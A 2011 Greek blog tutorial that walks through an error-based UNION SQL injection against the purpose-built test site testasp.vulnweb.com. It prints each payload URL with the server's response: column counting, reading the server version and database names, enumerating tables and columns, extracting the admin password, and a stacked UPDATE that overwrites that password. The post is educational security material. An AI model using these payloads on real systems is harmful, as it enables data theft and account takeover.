RSS

SQL Injection: Η διασημότερη επίθεση απέναντι σε web εφαρμογές.

24 Aug

Οι βάσεις δεδομένων σήμερα, θεωρούνται ένα απ’ τα δυνατότερα χαρτιά των υπολογιστικών συστημάτων. Μπορούμε μέσα σε αυτές να αποθηκεύουμε, τεράστιο όγκο δεδομένων και πληροφοριών, σχετικά με οτιδήποτε μπορεί να φανταστεί κανείς, όπως για παράδειγμα στοιχεία τραπεζικών λογαριασμών,αριθμούς πιστωτικών καρτών, μισθολόγια, βαθμολογίες καθώς και αρκετά άλλα ευαίσθητα προσωπικά δεδομένα. Η πρόσβαση σε μια βάση δεδομένων μπορεί να επιτευχθεί με τη χρήση της γλώσσας SQL.

Ο όρος SQL, προήλθε απ’ τα αρχικά Structured Query Language τα οποία στην ελληνική ορολογία θα μπορούσαν να μεταφραστούν ως δομημένη γλώσσα ερωτημάτων (ή αναζήτησης). Σε γενικές γραμμές η SQL μας δίνει τη δυνατότητα να έχουμε πρόσβαση σε μια βάση δεδομένων ώστε :

  • Να εκτελούμε ερωτήματα
  • Να αναζητούμε δεδομένα
  • Να εισάγουμε νέες εγγραφές, να διαγράφουμε παλαιότερες ή να ενημερώνουμε τις υπάρχουσες

Αναρωτηθήκατε όμως ποτέ πόσο ασφαλή είναι τα προσωπικά σας στοιχεία (username, password, email) τα οποία για παράδειγμα βρίσκονται κρυμμένα μέσα σε μια βάση δεδομένων κάποιου forum που επισκέπτεστε συχνά ή ακόμα χειρότερα ενός e-shop;

Με βάση τη λίστα που είχε δημοσιεύσει το OWASP (Open Web Application Security Project) για το 2010, σχετικά με τα 10 πιο επικίνδυνα κενά ασφαλείας σε web εφαρμογές [1] οι επιθέσεις τύπου “injection” βρίσκονται στη θέση με το νούμερο 1. Μέσα στην οικογένεια αυτή ανήκει και η γνωστή σε πολλούς επίθεση SQL Injection.

Τι είναι SQL injection: Η τεχνική της επίθεσης SQL Injection τα τελευταία χρόνια χρησιμοποιείται όλο και περισσότερο από αρκετούς επίδοξους crackers. Μέσα απ’ αυτή την επίθεση δίνεται η δυνατότητα σε κάποιον κακόβουλο επιτιθέμενο να “τρέξει” εντολές SQL ενάντια σε ένα server – στόχο και στη συνέχεια να αποσπάσει αρκετά ευαίσθητες πληροφορίες (όπως για παράδειγμα κωδικοί πρόσβασης, ονόματα χρηστών, emails, αριθμοί πιστωτικών καρτών κ.α) μέσα από την βάση δεδομένων στην οποία και επιτίθεται.

Μια τυπική επίθεση SQL injection.

Ας υποθέσουμε λοιπόν, ότι έχουμε έρθει σε επαφή με τους διαχειριστές της ιστοσελίδας http://testasp.vulnweb.com/ και μας έχουν αναθέσει να ελέγξουμε τις “αντοχές” της. Για να ξεκινήσουμε την έρευνα μας, θα πρέπει καταρχάς να μεταβούμε την ιστοσελίδα σαν απλοί επισκέπτες και στην συνέχεια, με κάποιο τρόπο να αποκτήσουμε πρόσβαση με δικαιώματα administrator. Μέσα από τη διαδικασία αυτή θα διαπιστώσουμε αν όντως η ιστοσελίδα είναι ασφαλής ή όχι. Πριν προχωρήσουμε στο κυρίως άρθρο, κρίνουμε σκόπιμο να διευκρινίσουμε ότι η ιστοσελίδα η οποία χρησιμοποιούμε για τα παραδείγματα μας είναι ειδικά “φτιαγμένη” για τέτοιου είδους tests και επιθέσεις οπότε δεν θα υπάρξει κάποιο πρόβλημα με τους ιδιοκτήτες της (http://bit.ly/i8Xr6W). Σε καμιά περίπτωση όμως, δεν πρέπει να χρησιμοποιήσουμε τη γνώση που αποκτούμε μέσα απ’ αυτά τα άρθρα, για οποιουδήποτε είδους κακόβουλες ενέργειες. Όπως συνηθίζει να λέει ένας πολύ καλός φίλος του γράφοντα, “κάθε όπλο μπορεί να χρησιμοποιηθεί για καλό και για κακό όπως για παράδειγμα, το μαχαίρι της κουζίνας, το οποίο θα μπορούσε να χρησιμοποιηθεί για να κόψουμε ψωμί αλλά και για να κόψουμε το λαιμό κάποιου.” Επιστροφή στο θέμα μας λοιπόν!Κατά τη διάρκεια μιας τυπικής (error based) επίθεσης SQL Injection συνήθως δοκιμάζουμε κάποιες λίγο – πολύ “κλασικές” εντολές SQL [2] στον server που έχουμε σαν στόχο. Στην περίπτωση που ο server μετά τις δοκιμές μας, ανταποκριθεί “θετικά” δηλαδή εμφανίσει κάποιο μήνυμα λάθους (ή γενικότερα συμπεριφερθεί κάπως μη αναμενόμενα) τότε υπάρχει μεγάλη πιθανότητα να είναι ευπαθής σε SQL Injection.

Το πρώτο πράγμα που κάνουμε για να ελέγξουμε αν υπάρχει κάποια ευπάθεια σε μία ιστοσελίδα είναι να εισάγουμε στο τέλος ένα μονό εισαγωγικό “ ” και να παρατηρούμε την αντίδραση της.

http://testasp.vulnweb.com/showforum.asp?id=2′

Αφού εισάγαμε κάτι τέτοιο, διαπιστώνουμε ότι ο στόχος μας αποκρίνεται κάπως “περίεργα”, εμφανίζοντας ένα ασυνήθιστο μήνυμα λάθους το οποίο σαφώς και δε θα έπρεπε να βλέπουμε εμείς:

Microsoft SQL Native Client error '80040e14'
Unclosed quotation mark after the character string ''.
/showforum.asp, line 9

Αυτό σημαίνει, ότι κατά πάσα πιθανότητα ο στόχος μας είναι ευπαθής σε SQL Injection και πιο συγκεκριμένα η παράμετρος “id” έχει το πρόβλημα. Μάλλον ο προγραμματιστής δεν ήταν ιδιαίτερα προσεχτικός (αν και θα έπρεπε!) όταν έγραφε τον κώδικα της ιστοσελίδας με αποτέλεσμα η παράμετρος “id” να μην έχει καμία προστασία και πιθανώς να μας επιτρέπει μέσα απ’ την URL να τρέξουμε ότι εντολές θέλουμε! Αφού λοιπόν καταφέραμε να ανακαλύψουμε ότι η σελίδα όντως πάσχει από κάποιο προβληματάκι στο τρόπο με τον οποίο ελέγχει τις τιμές που εισάγει ο χρήστης μέσα απ’ τη URL στην παράμετρο “id“, θα πρέπει να δούμε αν και κατά πόσο μπορούμε να εκμεταλλευτούμε προς όφελος μας αυτό το κενό ασφαλείας.

Το επόμενο μας βήμα λοιπόν, είναι να βρούμε πόσες στήλες επιστρέφει η εντολή SELECT. Για να το πετύχουμε αυτό θα εισάγουμε μια εντολή της μορφής “ORDER BY θέση_στήλης“:

http://testasp.vulnweb.com/showforum.asp?id=2+ORDER+BY+1–

Ο αριθμός “1” που βάλαμε, μας βοηθάει να ελέγξουμε ότι η στήλη 1 υπάρχει (στην προκειμένη περίπτωση πάντα θα υπάρχει η στήλη 1). Αν μετά απ’ αυτό η ιστοσελίδα φορτωθεί κανονικά θα πρέπει να πάμε πάλι στη URL για να εισάγουμε τον αριθμό “2” μετά τον αριθμό “3” και πάει λέγοντας, μέχρι να μας επιστραφεί κάποιο μήνυμα λάθους (εικόνα 1). Γενικότερα η εντολή αυτή, σε μια επίθεση SQL Injection, χρησιμοποιείται για να βρει κάποιος το πλήθος των στηλών.

Στην περίπτωση που εισάγουμε :
http://testasp.vulnweb.com/showforum.asp?id=2+ORDER+BY+1,2,3–

Στην ιστοσελίδα μας θα εμφανιστεί το ακόλουθο μήνυμα λάθους:

Microsoft SQL Native Client error '80040e14'
The ORDER BY position number 3 is out of range of the number of items in the select list.
/showforum.asp, line 9

Παρατηρώντας το μήνυμα λάθους καταλήγουμε στο συμπέρασμα ότι οι διαθέσιμες στήλες είναι 2, δηλαδή μια λιγότερη απ’ τον αριθμό που μας εμφάνισε το μήνυμα λάθους. Δεν τελειώσαμε όμως, στη συνέχεια θα πρέπει να δούμε πια απ’ τις δύο αυτές στήλες είναι ορατές στην ιστοσελίδα. Για να το επιτύχουμε αυτό θα χρησιμοποιήσουμε την εντολή “UNION“:

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+1,2–
1
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Το νούμερο “1” που βλέπουμε στην αρχή του μηνύματος λάθους, σημαίνει ότι η πρώτη στήλη είναι ορατή στην ιστοσελίδα και μπορούμε να την χρησιμοποιήσουμε στη συνέχεια της επίθεσης μας για να εμφανίσουμε πληροφορίες μέσα απ’ τη βάση δεδομένων. Φυσικά το νούμερο αυτό διαφέρει από σελίδα σε σελίδα, καθώς επίσης και ο αριθμός των ευπαθών στηλών. Στο σημείο αυτό είμαστε έτοιμοι να ξεκινήσουμε να συλλέγουμε όσες περισσότερες πληροφορίες μπορούμε σχετικά με το στόχο μας. Καταρχάς θα πρέπει να ανακαλύψουμε το σύστημα που χρησιμοποιείτε ώστε να προσαρμόσουμε κατάλληλα την επίθεση μας. Για να το πετύχουμε αυτό, θα αντικαταστήσουμε στο προηγούμενο query το “1” (δηλαδή την ευπαθή στήλη) με το “@@VERSION” το οποίο θα μας επιστρέψει την έκδοση του SQL server.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+@@VERSION,2–

Το αποτέλεσμα μέσα απ’ το μήνυμα λάθους είναι πλήρως διαφωτιστικό, σχετικά με τον SQL server που τρέχει στο στόχο μας.

Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Εικόνα 1
Εμφανίστηκε η τρωτή στήλη της ιστοσελίδας. Εκεί μπορούμε να προβάλουμε σχεδόν ότι θέλουμε μέσα απ’ τη βάση δεδομένων που μας ενδιαφέρει.

Σε περίπτωση που θέλουμε να βρούμε το όνομα της τρέχουσας βάσης δεδομένων του στόχο μας, δεν έχουμε παρά να εισάγουμε τη συνάρτηση “DB_NAME()” στο query μας:

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+DB_NAME(),2-
acuforum
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Μέσα απ’ το μήνυμα λάθους πληροφορούμαστε ότι η βάση στην οποία βρισκόμαστε και σκαλίζουμε αυτή τη στιγμή ονομάζετε “acuforum“. Σε περίπτωση όμως, που θέλουμε να δούμε και τις ονομασίες απ’ τις υπόλοιπες βάσεις δεδομένων, απλώς βάζουμε αριθμούς στην συνάρτηση DB_NAME() ξεκινώντας απ’ το 1 και συνεχίζουμε το ψάξιμο, αφού η βάση “acuforum” είναι ο αριθμός “0”.

master
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Έφτασε η ώρα, να σηκώσουμε τα μανίκια και να αποπειραθούμε να αποσπάσουμε μερικά usernames και passwords μέσα απ’ τη κατάλληλη βάση δεδομένων του στόχου μας ώστε στη συνέχεια να τα χρησιμοποιήσουμε για να συνδεθούμε με αυτά στο http://testasp.vulnweb.com/Login.asp. Πρώτα απ’ όλα, θα πρέπει να βρούμε κάποιον πίνακα (table) ο οποίος μέσα να περιέχει στήλες (columns) με τα πολυπόθητα usernames και passwοrds. Σε αυτό το βήμα, θα μας λύσει τα χέρια το λεγόμενο “information_schema” με το οποίο θα μπορέσουμε να βρούμε όλους τους πίνακες (καθώς και τις στήλες) που εμπεριέχονται στην βάση δεδομένων που μας ενδιαφέρει!

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+table_name,2+from+information_schema.tables–
threads
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Χμμ, ο πίνακας με την ονομασία “threads” κατά πάσα πιθανότητα δεν περιέχει τίποτα ενδιαφέρον για εμάς. Πρέπει να βρούμε κάποιον άλλο πίνακα. Για να το καταφέρουμε αυτό θα κάνουμε χρήση της συνάρτησης “not in()” στο query μας η οπόια θα μας επιστρέψει το όνομα του επόμενου πίνακα.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+table_name,2+FROM+information_schema.tables+WHERE+table_name+not+in+(‘threads’)–
forums
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Δυστυχώς, πάλι δεν εμφανίστηκε κάποιος ενδιαφέρον πίνακας. Δεν το βάζουμε κάτω όμως! Επαναλαμβάνουμε τη προηγούμενη διαδικασία και τελικά μετά από μερικές προσπάθειες δίνουμε το παρακάτω query και εμφανίζετε ένας πίνακας με την ονομασία “users“.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+table_name,2+FROM+information_schema.tables+WHERE+table_name+not+in+(‘threads’,’forums’,’posts’)–
users
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Bingo!!Επιτέλους έχουμε στα χέρια μας έναν πίνακα που το όνομα του σίγουρα παραπέμπει σίγουρα σε “ζουμερά” περιεχόμενα. Σειρά στην έρευνα μας, έχει το να ανακαλύψουμε τις στήλες που υπάρχουν στο πίνακα που μόλις ξετρυπώσαμε.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name=(‘users’)–
avatar
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Μπα, η στήλη “avatar” δε μας κάνει. Θέλουμε κάτι σχετικό με username και password. Οπότε, συνεχίζουμε στο ίδιο μοτίβο με πριν (όταν ψάχναμε το όνομα του πίνακα) με τη διαφορά ότι τώρα ψάχνουμε κάτι σχετικό με username και password στις στήλες του γνωστού πλέον πίνακα “users”. Τελικά μετά από λίγο ψάξιμο βρήκαμε την πρώτη ενδιαφέρουσα στήλη του πίνακα η οποία έχει την ονομασία “uname” και κατά πάσα πιθανότητα περιέχει τα usernames των χρηστών!

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name=(‘users’)+and+column_name+not+in+(‘avatar’,’email’,’realname’)–
uname
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Η δεύτερη και τελευταία ενδιαφέρουσα στήλη του πίνακα “users” είναι η “upass” στην οποία είναι καταχωρημένα τα passwords των χρηστών.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name=(‘users’)+and+column_name+not+in+(‘avatar’,’email’,’realname’,’uname’)–

upass
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Ήρθε η ώρα που όλοι περιμέναμε. Θα ψάξουμε μέσα στις στήλες “uname” και “upass” του πίνακα “users” της βάσης δεδομένων “acuforum” για το username του administrator καθώς και το password. Για να αποφύγουμε την ταλαιπωρία που περάσαμε πριν, να ψάχνουμε δηλαδή ένα – ένα τα usernames, κοιτάμε στην ιστοσελίδα του στόχου και παρατηρούμε ότι ο administrator χρησιμοποιεί το username “admin” για να κάνει αναρτήσεις (εικόνα 2).

Εικόνα 2
Όπως μπορούμε να παρατηρήσουμε ο administrator χρησιμοποιεί τον λογαριασμό “admin” για να κάνει αναρτήσεις στο forum. Ε, εκεί θα “χτυπήσουμε” και εμείς.

Άρα το μόνο που χρειάζεται να βρούμε είναι το password που αντιστοιχεί στο username “admin”.

http://testasp.vulnweb.com/showforum.asp?id=2+AND+1=0+UNION+SELECT+upass,2+FROM+users+WHERE+uname=’admin’–
none
Microsoft SQL Native Client error '80040e14'
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
/showforum.asp, line 111

Game Over! Πλέον έχουμε στα χέρια μας ότι χρειαζόμαστε. Το username είναι “admin” και το password “none”(εικόνα 3).

Εικόνα 3
Αποκαλύψαμε το password που αντιστοιχεί στον λογαριασμό του χρήστη “admin”.

Δεν μας εμποδίζει τίποτα πιά, να συνδεθούμε σαν administrator στην ιστοσελίδα http://testasp.vulnweb.com. Η εικόνα 4 άλλωστε το αποδεικνύει περίτρανα αυτό.


Εικόνα 4
Τελικά δεν ήταν τόσο δύσκολο το να συνδεθούμε σαν “admin” στο στόχο μας.

Συμπεράσματα και σκέψεις.

Η διαδικασία που ακολουθήθηκε για την εύρεση όλων αυτών των στοιχείων και η επεξήγηση μίας τυπικής επίθεσης με τη χρήση SQL Injection, είχε καθαρά εκπαιδευτικό χαρακτήρα και φυσικά ως τέτοιο πρέπει και εσείς να τον δείτε. Κατά την άποψη του γράφοντα, το να κατανοήσει κανείς τον κίνδυνο είναι το πρώτο και πιο σημαντικό βήμα πριν την εύρεση κάποιας λύσης για την πλήρη καταπολέμηση του. Σίγουρα, θα ήταν ενδιαφέρον να δούμε σε κάποιο επόμενο τεύχος τεχνικές anti-SQL injection. Μέχρι τότε όμως, βεβαιωθείτε ότι η ιστοσελίδα σας δεν πάσχει από κάποια ευπάθεια που να οδηγεί σε SQL Injection καθώς επίσης ότι έχετε καταλάβει πόσο επικίνδυνο είναι ένα τέτοιο κενό ασφαλείας.

Η χρήση της λογικής συνθήκης “AND+1=0” σε ένα SQL injection.

Διαβάζοντας το άρθρο σίγουρα θα παρατηρήσατε ότι σε αρκετά παραδείγματα κατά την διάρκεια της επίθεσης SQL injection, κάναμε χρήση της λογικής συνθήκης “AND+1=0“στην αρχή. Ο λόγος είναι απλός, προσθέτουμε μια ψευδή λογική συνθήκη στο SELECT statement, η οποία ουσιαστικά θα εφαρμοστεί στο πρώτο SELECT, σε εκείνο δηλαδή πριν απ’ το το UNION. Έτσι, στο τελικό αποτέλεσμα δε θα δούμε καμία εγγραφή που να προέρχεται από το πρώτο SELECT, το οποίο και δε μας ενδιαφέρει. Ουσιαστικά εμάς μας ενδιαφέρει να εμφανιστούν τα αποτελέσματα του query, τα οποία βρίσκονται στο δεύτερο SELECT μετά το UNION. Απλά, επειδή λόγο της φύσης του, το UNION χρησιμοποιείτε για να ενώνει τα αποτελέσματα δύο (ή περισσότερων) queries αν δεν είχε κάτι ψευδές στο πρώτο SELECT αυτό που θα παίρναμε σαν αποτέλεσμα θα ήταν μία μίξη πληροφοριών του πρώτου με το δεύτερο. Εναλλακτικά, το ίδιο αποτέλεσμα με το “AND+1=0” θα είχαμε και αν δίναμε μια αρνητική τιμή στη παράμετρο “id” όπως για παράδειγμα:

http://testasp.vulnweb.com/showforum.asp?id=-2+UNION+SELECT+1,2–

Σκεφτείτε έξυπνα και .. εναλλακτικά!

Ας υποθέσουμε ότι όταν φτάσαμε στο τελευταίο βήμα, εκεί δηλαδή που εμφανίστηκε το password του χρήστη “admin“, αλλά για κακή μας τύχη ήταν κρυπτογραφημένο. Θα μπορούσαμε, αντί να βάλουμε κάποιο online “σπαστήρι” να βρει τον κωδικό για εμάς (το κάτι οποίο θα απαιτούσε αρκετό χρόνο) να δοκιμάσουμε απλά να αλλάξουμε το password που αντιστοιχεί στον χρήστη “admin” κατευθείαν μέσα απ’ τη βάση. Σε αυτό θα μας βοηθήσει η εντολή “UPDATE”:

http://testasp.vulnweb.com/showforum.asp?id=2;+UPDATE+users+SET+upass=’thenewpass’+WHERE+uname=’admin’–

Αν εκτελεστεί σωστά το παραπάνω (χωρίς να εμφανίσει κάποιο μήνυμα λάθους) και τρέξουμε ξανά το query για να μας εμφανιστεί το password που αντιστοιχεί στον χρήστη “admin” θα διαπιστώσουμε ότι το password από “none” που ήταν στην αρχή (εικόνα 3) έχει αλλάξει σε “thenewpass” (εικόνα 5). Φυσικά, μετά το test επαναφέραμε το password στο αρχικό.

Εικόνα 5
Καταφέραμε χωρίς ιδιαίτερο κόπο να αλλάξαμε το password που χρησιμοποιούσε ο χρήστης “admin”.

Προσοχή: Το “;” δηλώνει το τέλος μιας εντολής και την αρχή μίας άλλης.

Χρήσιμοι σύνδεσμοι:

[1] http://ww.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[2] http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/

 
Leave a comment

Posted by on August 24, 2011 in It's Greek to Me

 

Tags:

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

 
%d bloggers like this: